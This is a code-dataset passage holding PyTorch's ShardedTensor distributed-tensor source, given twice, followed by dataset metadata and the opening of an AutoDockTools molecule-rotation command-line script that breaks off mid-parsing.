local_sharded_tensor_metadata: Optional[ShardedTensorMetadata] = None global_tensor_size = _flatten_tensor_size(global_size) if len(local_shards) > 0: local_sharded_tensor_metadata = \ build_metadata_from_local_shards(local_shards, global_tensor_size, current_rank, process_group) # STEP 2. Validate metadata across ranks, and build a global sharded tensor # metadata by gathering local ShardedTensorMetadata gathered_metadatas: List[Optional[ShardedTensorMetadata]] = [] if world_size > 1: gathered_metadatas = [None for _ in range(world_size)] dist.all_gather_object( gathered_metadatas, local_sharded_tensor_metadata, group=process_group ) else: gathered_metadatas = [local_sharded_tensor_metadata] global_sharded_tensor_metadata = build_global_metadata(gathered_metadatas) # STEP 3: Validation done, create the actual ShardedTensor and populate fields # prepare initialization sharded_tensor = cls.__new__(cls) sharded_tensor._prepare_init(process_group=process_group, init_rrefs=init_rrefs) # add to metadata and local_shards sharded_tensor._metadata = global_sharded_tensor_metadata sharded_tensor._local_shards = local_shards # make a EnumerableShardingSpec for sharded tensors that initialized from this API. # TODO: make sharding spec a ChunkShardingSpec by inferring from the metadata list. # see issue https://github.com/pytorch/pytorch/issues/67244 sharded_tensor._sharding_spec = EnumerableShardingSpec(global_sharded_tensor_metadata.shards_metadata) # run post initialization, i.e. map registration, rpc initialization sharded_tensor._post_init() return sharded_tensor @classmethod def _init_from_local_shards_and_global_metadata( cls, local_shards: List[Shard], sharded_tensor_metadata: ShardedTensorMetadata, process_group=None, init_rrefs=False, ) -> "ShardedTensor": """ Initialize a ShardedTensor with local shards and a global ShardedTensorMetadata built on each rank. Warning: This API is experimental and subject to change. It does not do cross rank validations, and fully rely on the user for the correctness of sharded_tensor_metadata on each rank """ process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) current_rank = dist.get_rank(process_group) shards_metadata = sharded_tensor_metadata.shards_metadata tensor_properties = sharded_tensor_metadata.tensor_properties if len(shards_metadata) == 0: raise ValueError("shards_metadata must not be empty!") if tensor_properties.layout != torch.strided: raise ValueError('Only torch.strided layout is currently supported') sharded_tensor = cls.__new__(cls) sharded_tensor._prepare_init(process_group=process_group, init_rrefs=init_rrefs) sharded_tensor._metadata = sharded_tensor_metadata local_shard_metadatas = [] def _raise_if_mismatch(expected, actual, prop_name, rank, is_property=False): tensor_property_or_metadata = "tensor property" if is_property else "local ShardMetadata" if expected != actual: raise ValueError(f"Local shards' tensor {prop_name} property is incompatible with " f"{tensor_property_or_metadata} on rank {rank}: " f"{tensor_property_or_metadata} {prop_name}={expected}, " f"local shard tensor {prop_name}={actual}.") # collect local shard metadatas from the global sharded_tensor_metadata for shard_metadata in shards_metadata: # type: ignore[attr-defined] rank, local_device = _parse_and_validate_remote_device(sharded_tensor._process_group, shard_metadata.placement) if current_rank == rank: local_shard_metadatas.append(shard_metadata) if len(local_shards) != len(local_shard_metadatas): raise RuntimeError( f'Number of local shards ({len(local_shards)}) does not match number of local ' f'shards metadata in sharded_tensor_metadata ({len(local_shard_metadatas)}) ' f'on rank ({current_rank}) ' ) for shard in local_shards: shard_meta = shard.metadata local_shard_tensor = shard.tensor rank, local_device = _parse_and_validate_remote_device(sharded_tensor._process_group, shard_meta.placement) # validate if shard_meta in the metadatas collected from sharded_tensor_metadata assert shard_meta in local_shard_metadatas, \ "local shard metadata not in sharded_tensor_metadata!" _raise_if_mismatch(tensor_properties.layout, local_shard_tensor.layout, "layout", current_rank, True) if not local_shard_tensor.is_contiguous(): raise ValueError('Only torch.contiguous_format memory_format is currently supported') _raise_if_mismatch(shard_meta.shard_sizes, list(local_shard_tensor.size()), "size", current_rank) _raise_if_mismatch(tensor_properties.pin_memory, local_shard_tensor.is_pinned(), "pin_memory", current_rank, True) _raise_if_mismatch(local_device, local_shard_tensor.device, "device", current_rank) _raise_if_mismatch(tensor_properties.dtype, local_shard_tensor.dtype, "dtype", current_rank, True) _raise_if_mismatch( tensor_properties.requires_grad, local_shard_tensor.requires_grad, "requires_grad", current_rank, True) # check if shards_metadata have overlap shards validate_non_overlapping_shards_metadata(shards_metadata) # check if the shards_metadata is compatible with overall size of the sharded tensor. check_tensor(shards_metadata, list(sharded_tensor_metadata.size)) # done validation, add local_shards sharded_tensor._local_shards = local_shards # make a EnumerableShardingSpec for sharded tensors that initialized from this API. # TODO: make sharding spec a ChunkShardingSpec by inferring from the metadata list. # see issue https://github.com/pytorch/pytorch/issues/67244 sharded_tensor._sharding_spec = EnumerableShardingSpec(shards_metadata) # run post initialization, i.e. map registration, rpc initialization sharded_tensor._post_init() return sharded_tensor def _init_chunked(self, dims, tensor_init_params: TensorInitParams, ): current_rank = dist.get_rank(self._process_group) sharding_dim = self._sharding_spec.dim # type: ignore[attr-defined] # Validate the sharding spec. if not isinstance(sharding_dim, int): raise ValueError( f"Sharding dim needs to be an integer, found: {sharding_dim}" ) if sharding_dim >= len(dims) or sharding_dim < -len(dims): raise ValueError(f"Invalid sharding dim: {sharding_dim}") dim_size = dims[sharding_dim] remote_devices = self._sharding_spec.placements # type: ignore[attr-defined] chunks = len(remote_devices) # split_size computed similar to 'torch.chunk' split_size = get_split_size(dim_size, chunks) shards_metadata = [] for idx, remote_device in enumerate(remote_devices): rank, local_device = _parse_and_validate_remote_device(self._process_group, remote_device) # Adjust the sharding dim for this rank. sharded_dim_size = get_chunked_dim_size(dim_size, split_size, idx) if sharded_dim_size > 0: # Build sharding_metadata. # deepcopy for modification. rank_dims = dims.copy() rank_offsets = [0] * len(dims) rank_offsets[sharding_dim] = split_size * idx rank_dims[sharding_dim] = sharded_dim_size shard_metadata = ShardMetadata(rank_offsets, rank_dims, remote_device) shards_metadata.append(shard_metadata) # Build the local shard for the current rank if it is involved in the sharding spec. if current_rank == rank: # Initialize the local shard. local_shard = _create_tensor_from_params( *rank_dims, local_device=local_device, tensor_init_params=tensor_init_params) self._local_shards.append(Shard(local_shard, shard_metadata)) # Build overall metadata self._metadata = ShardedTensorMetadata( shards_metadata, dims, tensor_init_params.tensor_properties, ) def _init_enumerable(self, dims, tensor_init_params: TensorInitParams): # Validate the sharding spec is compatible with the tensor. check_tensor(self._sharding_spec.shards, dims) # type: ignore[attr-defined] current_rank = dist.get_rank(self._process_group) shards_metadata = [] for shard_metadata in self._sharding_spec.shards: # type: ignore[attr-defined] rank, local_device = _parse_and_validate_remote_device(self._process_group, shard_metadata.placement) shards_metadata.append(shard_metadata) if current_rank == rank: # Initialize the local shard. local_shard = _create_tensor_from_params( *shard_metadata.shard_sizes, local_device=local_device, tensor_init_params=tensor_init_params) self._local_shards.append(Shard(local_shard, shard_metadata)) # Build overall metadata self._metadata = ShardedTensorMetadata( shards_metadata, dims, tensor_init_params.tensor_properties, ) def sharding_spec(self) -> ShardingSpec: """ Returns the ShardingSpec for the tensor. """ return self._sharding_spec def __torch_function__(self, func, types, args=(), kwargs=None): if func in _SHARDED_OPS: return _SHARDED_OPS[func](types, args, kwargs, self._process_group) raise RuntimeError( f"torch function '{func.__name__}', with args: {args} and " f"kwargs: {kwargs} not supported for ShardedTensor!") def metadata(self) -> ShardedTensorMetadata: """ Returns a :class:`ShardedTensorMetadata` object corresponding to the metadata for the entire tensor. """ return self._metadata def local_shards(self) -> List[Shard]: """ Returns a list of :class:`Shard' corresponding to the local shards for this rank. Returns an empty list if the current rank does not host any shards for this Tensor. """ return self._local_shards def size(self, dim: int = None) -> Union[torch.Size, int]: """ Returns a :Union:`[torch.Size, int]` which represents the size of the tensor. The dimension can be specified. Args: dim (int, optional): the dimension over which the size represents. If specified, it returns the size of the given dimension. If not, it returns a subclass of tuple. Default: ``None`` Returns: A :Union:`[torch.Size, int]` represents the size of the tensor. """ size = self._metadata.size if dim is None: return size if dim < 0 or dim >= len(size): raise ValueError( f"Argument ``dim`` must be within the range of tensor dimensions [0, {len(size)})" ) return size[dim] def is_pinned(self) -> bool: """ Returns True if the sharded tensor (each local shard) resides in pinned memory. """ return self._metadata.tensor_properties.pin_memory def is_contiguous(self) -> bool: """ Returns True if the sharded tensor (each local shard) is contiguous in memory in the order specified by memory format. """ return self._metadata.tensor_properties.memory_format == torch.contiguous_format @property def shape(self): return self._metadata.size @property def requires_grad(self): return self._metadata.tensor_properties.requires_grad @property def dtype(self): return self._metadata.tensor_properties.dtype @property def layout(self): return self._metadata.tensor_properties.layout def _register_remote_shards(self, remote_shards: List[rpc.RRef[Shard]], rpc_rank: int): self._remote_shards[rpc_rank] = remote_shards def remote_shards(self) -> Dict[int, List[rpc.RRef[Shard]]]: """ Returns a Dict[int, RRef] with keys being the RPC rank and values being RRefs to shards on that rank. Need to initialize the RPC framework for this functionality. Raises an exception if ShardedTensor was created with ``init_rrefs=False`` """ if not self._init_rrefs: raise RuntimeError( 'ShardedTensor created with init_rrefs=False, no RRefs to remote shards available' ) return self._remote_shards def __hash__(self): return id(self) def __repr__(self): return f'ShardedTensor({self._metadata})' @dataclass class ProcessGroupState: """ State for ser-de of process group """ local_rank: int global_rank: int local_world_size: int global_world_size: int def __getstate__(self): pg_state = ShardedTensor.ProcessGroupState( distributed_c10d.get_rank(self._process_group), distributed_c10d.get_rank(), distributed_c10d.get_world_size(self._process_group), distributed_c10d.get_world_size(), ) return self._local_shards, self._metadata, pg_state, self._sharding_spec, self._init_rrefs def __setstate__(self, state): self._sharded_tensor_id = None if not distributed_c10d.is_initialized(): raise RuntimeError( 'Need to initialize default process group using ' '"init_process_group" before loading ShardedTensor') self._local_shards, self._metadata, pg_state, self._sharding_spec, self._init_rrefs = state # Setup process group self._process_group = get_current_process_group() # Validate process group. local_rank = distributed_c10d.get_rank(self._process_group) if pg_state.local_rank != local_rank: raise RuntimeError( f'Local rank at save time was {pg_state.local_rank}, but at ' f'load time was {local_rank}') global_rank = distributed_c10d.get_rank() if pg_state.global_rank != global_rank: raise RuntimeError( f'Global rank at save time was {pg_state.global_rank}, but at ' f'load time was {global_rank}') local_world_size = distributed_c10d.get_world_size(self._process_group) if pg_state.local_world_size != local_world_size: raise RuntimeError( f'Local world size at save time was {pg_state.local_world_size}, ' f'but at load time was {local_world_size}') global_world_size = distributed_c10d.get_world_size() if pg_state.global_world_size != global_world_size: raise RuntimeError( f'Global world size at save time was {pg_state.global_world_size}, ' f'but at load time was {global_world_size}') self._post_init() def _create_tensor_from_params(*size, local_device, tensor_init_params: TensorInitParams): """ Helper to construct tensor from size, device and common params. """ create_op = tensor_init_params.create_op dtype = tensor_init_params.tensor_properties.dtype layout = tensor_init_params.tensor_properties.layout requires_grad = tensor_init_params.tensor_properties.requires_grad memory_format = tensor_init_params.tensor_properties.memory_format pin_memory = tensor_init_params.tensor_properties.pin_memory if create_op == CreateOp.ONES: return torch.ones(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif create_op == CreateOp.EMPTY: return torch.empty(*size, dtype=dtype, layout=layout, device=local_device, requires_grad=requires_grad, # NB: memory_format param is not accepted by torch.ones memory_format=memory_format, pin_memory=pin_memory,) elif tensor_init_params.create_op == CreateOp.ZEROS: return torch.zeros(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif tensor_init_params.create_op == CreateOp.RAND: return torch.rand(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif tensor_init_params.create_op == CreateOp.FULL: return torch.full(size=size, fill_value=tensor_init_params.fill_value, layout=layout, dtype=dtype, requires_grad=requires_grad, device=local_device, ) else: raise ValueError(f'Unsupported create_op: {tensor_init_params.create_op}')

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from dataclasses import dataclass, field from enum import Enum from typing import ( Callable, Dict, List, Optional, Union ) import weakref import threading import torch import torch.distributed as dist from torch.distributed import rpc from torch.distributed import distributed_c10d from torch.distributed._sharding_spec import ( ChunkShardingSpec, EnumerableShardingSpec, ShardMetadata, ShardingSpec, ) from torch.distributed._sharding_spec._internals import ( check_tensor, get_split_size, get_chunked_dim_size, validate_non_overlapping_shards_metadata, ) from torch.types import Number from .metadata import TensorProperties, ShardedTensorMetadata from .shard import Shard from .utils import ( get_current_process_group, _flatten_tensor_size, _parse_and_validate_remote_device, _validate_output_tensor_for_gather, build_metadata_from_local_shards, build_global_metadata ) _sharded_tensor_lock = threading.Lock() _sharded_tensor_current_id = 0 _sharded_tensor_map: Dict[int, 'weakref.ReferenceType[ShardedTensor]'] = {} _SHARDED_OPS: Dict[str, Callable] = {} def _register_sharded_op(op, func): from inspect import signature if len(signature(func).parameters) != 4: raise TypeError( f'Custom sharded op function expects signature: ' f'(types, args, kwargs, process_group), but received ' f'signature: {signature(func)}') global _SHARDED_OPS _SHARDED_OPS[op] = func def _register_remote_shards(sharded_tensor_id: int, rrefs: List[rpc.RRef[Shard]], rpc_rank: int): with _sharded_tensor_lock: if sharded_tensor_id not in _sharded_tensor_map: raise RuntimeError( f'Could not find sharded_tensor_id: {sharded_tensor_id} in map: {_sharded_tensor_map.keys()}') sharded_tensor = _sharded_tensor_map[sharded_tensor_id]() if sharded_tensor is None: raise RuntimeError('ShardedTensor weakref has been deallocated') else: sharded_tensor._register_remote_shards(rrefs, rpc_rank) class CreateOp(Enum): EMPTY = 0 FULL = 1 ONES = 2 RAND = 3 ZEROS = 4 @dataclass class TensorInitParams(object): create_op: CreateOp fill_value: Number = field(default=False) tensor_properties: TensorProperties = field( default=TensorProperties(dtype=torch.get_default_dtype(), layout=torch.strided, requires_grad=False, memory_format=torch.contiguous_format, pin_memory=False)) class ShardedTensor(object): def __new__(cls, *args, **kwargs): torch._C._log_api_usage_once("torch.distributed.sharded_tensor") return super(ShardedTensor, cls).__new__(cls) def __init__( self, sharding_spec: ShardingSpec, *size, tensor_init_params: TensorInitParams, process_group=None, init_rrefs=False, ): self._prepare_init(process_group=process_group, init_rrefs=init_rrefs) if tensor_init_params.tensor_properties is None: raise ValueError('tensor_properties must not be None.') if tensor_init_params.tensor_properties.dtype is None: tensor_init_params.tensor_properties.dtype = torch.get_default_dtype() if tensor_init_params.tensor_properties.layout != torch.strided: raise ValueError('Only torch.strided layout is currently supported') if tensor_init_params.tensor_properties.memory_format != torch.contiguous_format: raise ValueError('Only torch.contiguous_format memory_format is currently supported') dims = _flatten_tensor_size(size) self._sharding_spec = sharding_spec if isinstance(self._sharding_spec, ChunkShardingSpec): self._init_chunked(dims, tensor_init_params) elif isinstance(self._sharding_spec, EnumerableShardingSpec): self._init_enumerable(dims, tensor_init_params) else: raise ValueError(f'Unsupported sharding_spec: {self._sharding_spec}') self._post_init() def _prepare_init(self, process_group=None, init_rrefs=False): self._init_rrefs = init_rrefs self._sharded_tensor_id = None self._process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) self._local_shards: List[Shard] = [] self._remote_shards: Dict[int, List[rpc.RRef[Shard]]] = {} def _post_init(self): if self._init_rrefs: with _sharded_tensor_lock: global _sharded_tensor_current_id, _sharded_tensor_map self._sharded_tensor_id = _sharded_tensor_current_id _sharded_tensor_map[self._sharded_tensor_id] = weakref.ref(self) _sharded_tensor_current_id += 1 if not rpc._is_current_rpc_agent_set(): raise RuntimeError( 'RPC Framework needs to be initialized using' ' torch.distributed.rpc.init_rpc if init_rrefs is set to True') self._init_rpc() def __del__(self): with _sharded_tensor_lock: global _sharded_tensor_current_id, _sharded_tensor_map if self._sharded_tensor_id in _sharded_tensor_map: _sharded_tensor_map.pop(self._sharded_tensor_id) def _init_rpc(self): pg_rank = dist.get_rank() rpc_rank = rpc.get_worker_info().id if pg_rank != rpc_rank: raise ValueError( f'Default ProcessGroup and RPC ranks must be ' f'the same for ShardedTensor, found process group rank: ' f'{pg_rank} and RPC rank: {rpc_rank}' ) self._remote_shards = {} worker_infos = rpc._get_current_rpc_agent().get_worker_infos() rank_to_name = {} name_to_rank = {} for worker_info in worker_infos: rank_to_name[worker_info.id] = worker_info.name name_to_rank[worker_info.name] = worker_info.id all_tensor_ids = rpc.api._all_gather(self._sharded_tensor_id) futs = [] rpc_rank = rpc.get_worker_info().id for rank in range(dist.get_world_size()): if rank == dist.get_rank(): continue if len(self.local_shards()) != 0: rrefs: List[rpc.RRef[Shard]] = [rpc.RRef(shard) for shard in self.local_shards()] fut = rpc.rpc_async( rank, _register_remote_shards, args=(all_tensor_ids[rank_to_name[rank]], rrefs, rpc_rank)) futs.append(fut) torch.futures.wait_all(futs) rpc.api._all_gather(None) def gather( self, dst: int = 0, out: Optional[torch.Tensor] = None, ) -> None: rank = dist.get_rank(self._process_group) full_size = self.metadata().size _validate_output_tensor_for_gather(rank, dst, full_size, out) local_shards = self.local_shards() world_size = dist.get_world_size(self._process_group) gathered_shards = [None] * world_size dist.all_gather_object( obj=local_shards, object_list=gathered_shards, group=self._process_group, ) if rank == dst: dims = len(full_size) for shards in gathered_shards: if shards is None: raise RuntimeError( 'Gathered shards cannot be None on dst rank {dst}' ) for shard in shards: metadata = shard.metadata tensor = shard.tensor out_narrow_view = out for dim in range(dims): out_narrow_view = out_narrow_view.narrow( dim, metadata.shard_offsets[dim], metadata.shard_sizes[dim], ) out_narrow_view.copy_(tensor) @classmethod def _init_from_local_shards( cls, local_shards: List[Shard], *global_size, process_group=None, init_rrefs=False, ): process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) current_rank = dist.get_rank(process_group) world_size = dist.get_world_size(process_group) local_sharded_tensor_metadata: Optional[ShardedTensorMetadata] = None global_tensor_size = _flatten_tensor_size(global_size) if len(local_shards) > 0: local_sharded_tensor_metadata = \ build_metadata_from_local_shards(local_shards, global_tensor_size, current_rank, process_group) gathered_metadatas: List[Optional[ShardedTensorMetadata]] = [] if world_size > 1: gathered_metadatas = [None for _ in range(world_size)] dist.all_gather_object( gathered_metadatas, local_sharded_tensor_metadata, group=process_group ) else: gathered_metadatas = [local_sharded_tensor_metadata] global_sharded_tensor_metadata = build_global_metadata(gathered_metadatas) sharded_tensor = cls.__new__(cls) sharded_tensor._prepare_init(process_group=process_group, init_rrefs=init_rrefs) sharded_tensor._metadata = global_sharded_tensor_metadata sharded_tensor._local_shards = local_shards sharded_tensor._sharding_spec = EnumerableShardingSpec(global_sharded_tensor_metadata.shards_metadata) sharded_tensor._post_init() return sharded_tensor @classmethod def _init_from_local_shards_and_global_metadata( cls, local_shards: List[Shard], sharded_tensor_metadata: ShardedTensorMetadata, process_group=None, init_rrefs=False, ) -> "ShardedTensor": process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) current_rank = dist.get_rank(process_group) shards_metadata = sharded_tensor_metadata.shards_metadata tensor_properties = sharded_tensor_metadata.tensor_properties if len(shards_metadata) == 0: raise ValueError("shards_metadata must not be empty!") if tensor_properties.layout != torch.strided: raise ValueError('Only torch.strided layout is currently supported') sharded_tensor = cls.__new__(cls) sharded_tensor._prepare_init(process_group=process_group, init_rrefs=init_rrefs) sharded_tensor._metadata = sharded_tensor_metadata local_shard_metadatas = [] def _raise_if_mismatch(expected, actual, prop_name, rank, is_property=False): tensor_property_or_metadata = "tensor property" if is_property else "local ShardMetadata" if expected != actual: raise ValueError(f"Local shards' tensor {prop_name} property is incompatible with " f"{tensor_property_or_metadata} on rank {rank}: " f"{tensor_property_or_metadata} {prop_name}={expected}, " f"local shard tensor {prop_name}={actual}.") # collect local shard metadatas from the global sharded_tensor_metadata for shard_metadata in shards_metadata: # type: ignore[attr-defined] rank, local_device = _parse_and_validate_remote_device(sharded_tensor._process_group, shard_metadata.placement) if current_rank == rank: local_shard_metadatas.append(shard_metadata) if len(local_shards) != len(local_shard_metadatas): raise RuntimeError( f'Number of local shards ({len(local_shards)}) does not match number of local ' f'shards metadata in sharded_tensor_metadata ({len(local_shard_metadatas)}) ' f'on rank ({current_rank}) ' ) for shard in local_shards: shard_meta = shard.metadata local_shard_tensor = shard.tensor rank, local_device = _parse_and_validate_remote_device(sharded_tensor._process_group, shard_meta.placement) # validate if shard_meta in the metadatas collected from sharded_tensor_metadata assert shard_meta in local_shard_metadatas, \ "local shard metadata not in sharded_tensor_metadata!" _raise_if_mismatch(tensor_properties.layout, local_shard_tensor.layout, "layout", current_rank, True) if not local_shard_tensor.is_contiguous(): raise ValueError('Only torch.contiguous_format memory_format is currently supported') _raise_if_mismatch(shard_meta.shard_sizes, list(local_shard_tensor.size()), "size", current_rank) _raise_if_mismatch(tensor_properties.pin_memory, local_shard_tensor.is_pinned(), "pin_memory", current_rank, True) _raise_if_mismatch(local_device, local_shard_tensor.device, "device", current_rank) _raise_if_mismatch(tensor_properties.dtype, local_shard_tensor.dtype, "dtype", current_rank, True) _raise_if_mismatch( tensor_properties.requires_grad, local_shard_tensor.requires_grad, "requires_grad", current_rank, True) # check if shards_metadata have overlap shards validate_non_overlapping_shards_metadata(shards_metadata) # check if the shards_metadata is compatible with overall size of the sharded tensor. check_tensor(shards_metadata, list(sharded_tensor_metadata.size)) # done validation, add local_shards sharded_tensor._local_shards = local_shards # make a EnumerableShardingSpec for sharded tensors that initialized from this API. # TODO: make sharding spec a ChunkShardingSpec by inferring from the metadata list. # see issue https://github.com/pytorch/pytorch/issues/67244 sharded_tensor._sharding_spec = EnumerableShardingSpec(shards_metadata) # run post initialization, i.e. map registration, rpc initialization sharded_tensor._post_init() return sharded_tensor def _init_chunked(self, dims, tensor_init_params: TensorInitParams, ): current_rank = dist.get_rank(self._process_group) sharding_dim = self._sharding_spec.dim # type: ignore[attr-defined] # Validate the sharding spec. if not isinstance(sharding_dim, int): raise ValueError( f"Sharding dim needs to be an integer, found: {sharding_dim}" ) if sharding_dim >= len(dims) or sharding_dim < -len(dims): raise ValueError(f"Invalid sharding dim: {sharding_dim}") dim_size = dims[sharding_dim] remote_devices = self._sharding_spec.placements # type: ignore[attr-defined] chunks = len(remote_devices) # split_size computed similar to 'torch.chunk' split_size = get_split_size(dim_size, chunks) shards_metadata = [] for idx, remote_device in enumerate(remote_devices): rank, local_device = _parse_and_validate_remote_device(self._process_group, remote_device) # Adjust the sharding dim for this rank. sharded_dim_size = get_chunked_dim_size(dim_size, split_size, idx) if sharded_dim_size > 0: # Build sharding_metadata. # deepcopy for modification. rank_dims = dims.copy() rank_offsets = [0] * len(dims) rank_offsets[sharding_dim] = split_size * idx rank_dims[sharding_dim] = sharded_dim_size shard_metadata = ShardMetadata(rank_offsets, rank_dims, remote_device) shards_metadata.append(shard_metadata) # Build the local shard for the current rank if it is involved in the sharding spec. if current_rank == rank: # Initialize the local shard. local_shard = _create_tensor_from_params( *rank_dims, local_device=local_device, tensor_init_params=tensor_init_params) self._local_shards.append(Shard(local_shard, shard_metadata)) # Build overall metadata self._metadata = ShardedTensorMetadata( shards_metadata, dims, tensor_init_params.tensor_properties, ) def _init_enumerable(self, dims, tensor_init_params: TensorInitParams): # Validate the sharding spec is compatible with the tensor. check_tensor(self._sharding_spec.shards, dims) # type: ignore[attr-defined] current_rank = dist.get_rank(self._process_group) shards_metadata = [] for shard_metadata in self._sharding_spec.shards: # type: ignore[attr-defined] rank, local_device = _parse_and_validate_remote_device(self._process_group, shard_metadata.placement) shards_metadata.append(shard_metadata) if current_rank == rank: # Initialize the local shard. local_shard = _create_tensor_from_params( *shard_metadata.shard_sizes, local_device=local_device, tensor_init_params=tensor_init_params) self._local_shards.append(Shard(local_shard, shard_metadata)) # Build overall metadata self._metadata = ShardedTensorMetadata( shards_metadata, dims, tensor_init_params.tensor_properties, ) def sharding_spec(self) -> ShardingSpec: return self._sharding_spec def __torch_function__(self, func, types, args=(), kwargs=None): if func in _SHARDED_OPS: return _SHARDED_OPS[func](types, args, kwargs, self._process_group) raise RuntimeError( f"torch function '{func.__name__}', with args: {args} and " f"kwargs: {kwargs} not supported for ShardedTensor!") def metadata(self) -> ShardedTensorMetadata: return self._metadata def local_shards(self) -> List[Shard]: return self._local_shards def size(self, dim: int = None) -> Union[torch.Size, int]: size = self._metadata.size if dim is None: return size if dim < 0 or dim >= len(size): raise ValueError( f"Argument ``dim`` must be within the range of tensor dimensions [0, {len(size)})" ) return size[dim] def is_pinned(self) -> bool: return self._metadata.tensor_properties.pin_memory def is_contiguous(self) -> bool: return self._metadata.tensor_properties.memory_format == torch.contiguous_format @property def shape(self): return self._metadata.size @property def requires_grad(self): return self._metadata.tensor_properties.requires_grad @property def dtype(self): return self._metadata.tensor_properties.dtype @property def layout(self): return self._metadata.tensor_properties.layout def _register_remote_shards(self, remote_shards: List[rpc.RRef[Shard]], rpc_rank: int): self._remote_shards[rpc_rank] = remote_shards def remote_shards(self) -> Dict[int, List[rpc.RRef[Shard]]]: if not self._init_rrefs: raise RuntimeError( 'ShardedTensor created with init_rrefs=False, no RRefs to remote shards available' ) return self._remote_shards def __hash__(self): return id(self) def __repr__(self): return f'ShardedTensor({self._metadata})' @dataclass class ProcessGroupState: local_rank: int global_rank: int local_world_size: int global_world_size: int def __getstate__(self): pg_state = ShardedTensor.ProcessGroupState( distributed_c10d.get_rank(self._process_group), distributed_c10d.get_rank(), distributed_c10d.get_world_size(self._process_group), distributed_c10d.get_world_size(), ) return self._local_shards, self._metadata, pg_state, self._sharding_spec, self._init_rrefs def __setstate__(self, state): self._sharded_tensor_id = None if not distributed_c10d.is_initialized(): raise RuntimeError( 'Need to initialize default process group using ' '"init_process_group" before loading ShardedTensor') self._local_shards, self._metadata, pg_state, self._sharding_spec, self._init_rrefs = state # Setup process group self._process_group = get_current_process_group() # Validate process group. local_rank = distributed_c10d.get_rank(self._process_group) if pg_state.local_rank != local_rank: raise RuntimeError( f'Local rank at save time was {pg_state.local_rank}, but at ' f'load time was {local_rank}') global_rank = distributed_c10d.get_rank() if pg_state.global_rank != global_rank: raise RuntimeError( f'Global rank at save time was {pg_state.global_rank}, but at ' f'load time was {global_rank}') local_world_size = distributed_c10d.get_world_size(self._process_group) if pg_state.local_world_size != local_world_size: raise RuntimeError( f'Local world size at save time was {pg_state.local_world_size}, ' f'but at load time was {local_world_size}') global_world_size = distributed_c10d.get_world_size() if pg_state.global_world_size != global_world_size: raise RuntimeError( f'Global world size at save time was {pg_state.global_world_size}, ' f'but at load time was {global_world_size}') self._post_init() def _create_tensor_from_params(*size, local_device, tensor_init_params: TensorInitParams): create_op = tensor_init_params.create_op dtype = tensor_init_params.tensor_properties.dtype layout = tensor_init_params.tensor_properties.layout requires_grad = tensor_init_params.tensor_properties.requires_grad memory_format = tensor_init_params.tensor_properties.memory_format pin_memory = tensor_init_params.tensor_properties.pin_memory if create_op == CreateOp.ONES: return torch.ones(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif create_op == CreateOp.EMPTY: return torch.empty(*size, dtype=dtype, layout=layout, device=local_device, requires_grad=requires_grad, # NB: memory_format param is not accepted by torch.ones memory_format=memory_format, pin_memory=pin_memory,) elif tensor_init_params.create_op == CreateOp.ZEROS: return torch.zeros(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif tensor_init_params.create_op == CreateOp.RAND: return torch.rand(*size, dtype=dtype, layout=layout, device=local_device, pin_memory=pin_memory, requires_grad=requires_grad,) elif tensor_init_params.create_op == CreateOp.FULL: return torch.full(size=size, fill_value=tensor_init_params.fill_value, layout=layout, dtype=dtype, requires_grad=requires_grad, device=local_device, ) else: raise ValueError(f'Unsupported create_op: {tensor_init_params.create_op}')

true

790b18f3fdca6c5f67de99d45ef9ca4dc84801f2

5,544

py

Python

mscreen/autodocktools_prepare_py3k/AutoDockTools/Utilities24/rotate_molecule.py

e-mayo/mscreen

a50f0b2f7104007c730baa51b4ec65c891008c47

[ "MIT" ]

9

2021-03-06T04:24:28.000Z

2022-01-03T09:53:07.000Z

AutoDockTools/Utilities24/rotate_molecule.py

e-mayo/autodocktools-prepare-py3k

2dd2316837bcb7c19384294443b2855e5ccd3e01

[ "BSD-3-Clause" ]

3

2021-03-07T05:37:16.000Z

2021-09-19T15:06:54.000Z

AutoDockTools/Utilities24/rotate_molecule.py

e-mayo/autodocktools-prepare-py3k

2dd2316837bcb7c19384294443b2855e5ccd3e01

[ "BSD-3-Clause" ]

4

2019-08-28T23:11:39.000Z

2021-11-27T08:43:36.000Z

#!/usr/bin/env python #$Id: rotate_molecule.py,v 1.2.10.1 2016/02/11 09:24:08 annao Exp $ import os from MolKit import Read from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter from mglutil.math.rotax import rotax import numpy if __name__ == '__main__': import sys import getopt def usage(): "Print helpful, accurate usage statement to stdout." print("Usage: rotate_molecule.py -f filename") print() print(" Description of command...") print(" [-f] filename") print(" Optional parameters:") print(" [-o] alternative output filename") print(" (default is 'rotated_' +filename)") print(" [-y] rotate around the y axis") print(" (default is rotation around the z axis)") print(" [-x] rotate around the x axis") print(" (default is rotation around the z axis)") print(" [-u] user-defined axis of rotation '1.0,2.0,-6.2'") print(" (default is rotation around the z axis)") print(" [-a] angle for rotation about axis ") print(" (default is rotation around the z axis)") print(" [-v] verbose output") # process command arguments try: opt_list, args = getopt.getopt(sys.argv[1:], 'f:o:xyu:a:v') except getopt.GetoptError as msg: print('rotate_molecule.py: %s' %msg) usage() sys.exit(2) # initialize required parameters #-f: pdb_filename_stem filename = None # optional parameters verbose = None outputfilename = None rotation = 'z' #arbitrary axis angle for rotation axis = None angle = None #'f:o:v' for o, a in opt_list: print("o=", o, " a=",a) if o in ('-f', '--f'): filename = a if verbose: print('set filename to ', filename) outputfilename = 'rotated_' + filename if o in ('-o', '--o'): outputfilename = a if verbose: print('set output outputfilename to ', a) if o in ('-x', '--x'): rotation = 'x' if verbose: print('set rotation to ', rotation) if o in ('-y', '--y'): rotation = 'y' if verbose: print('set rotation to ', rotation) if o in ('-u', '--u'): axis = a if verbose: print('set user-defined axis to ', axis) if o in ('-a', '--a'): angle = a if verbose: print('set angle for rotation to ', angle) if o in ('-v', '--v'): verbose = True if verbose: print('set verbose to ', True) if o in ('-h', '--'): usage() 